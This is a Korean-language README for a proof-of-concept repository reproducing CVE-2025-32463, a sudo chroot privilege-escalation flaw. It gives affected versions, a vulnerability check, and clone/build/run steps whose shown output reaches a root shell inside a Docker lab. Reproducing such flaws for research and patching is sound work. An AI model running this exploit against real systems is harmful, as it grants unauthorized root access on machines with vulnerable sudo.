많이 영향을 받고, 복사되고, 기반이 된 형식은 pr0v3rbs의 유사한 저장소(https://github.com/pr0v3rbs/CVE-2025-32463i\_chwoot.git)의 형식을 따릅니다. 이것은 빠르고 단일 소스 전달, 실행 및 정리를 위한 C 재구현입니다.

CVE-2025-32463 – sudo chroot("chwoot") PoC

이 저장소는 sudo의 chroot 기능에서 CVE‑2025‑32463 권한 상승 결함을 입증하기 위한 최소한의 재현 가능 환경을 제공합니다.

• 이 취약점은 Stratascale의 Rich Mirch(@0xm1rch on X)가 보고했습니다.
• 원문: Vulnerability Advisory: Sudo chroot Elevation of Privilege
• NVD: CVE-2025-32463 (CVSS 9.3)

영향을 받는 버전

대부분의 Linux 배포판에서 sudo 1.9.14부터 1.9.17(모든 p‑revision)까지의 취약한 빌드가 영향을 받습니다.

보안 페이지

• Ubuntu (CVSS 9.3)
• Redhat (CVSS 7.8)
• SUSE (CVSS 7.8)
• Debian

내용

빠른 취약점 확인

# Vulnerable sudo
poc ~ $ sudo -R woot woot
sudo: woot: No such file or directory

# Patched sudo
poc ~ $ sudo -R woot woot
[sudo] password for poc:
sudo: you are not permitted to use the -R option with woot

Docker 컨테이너에서 익스플로잇 테스트

# 1 – clone repo
$ git clone https://github.com/vpr-labs/CVE-2025-32463.git
$ cd CVE-2025-32463

# 2 – build and run Docker image (tagged "vpr-chwoot")
$ ./run.sh

# 3 – run exploit in container (runs root command directly)
poc@f722d9182d1f:~$ make && ./vpr-chwoot
woot!
root@f722d9182d1f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(poc)
root@f722d9182d1f:/#

run.sh는 Docker에 --privileged와 --rm을 전달하여 컨테이너를 종료할 때 자동으로 정리되도록 합니다.

정리

작업이 끝나면 이미지를 제거하세요:

docker rmi vpr-chwoot

참고

• Stratascale CRU 취약점 노트: Vulnerability Advisory: Sudo chroot Elevation of Privilege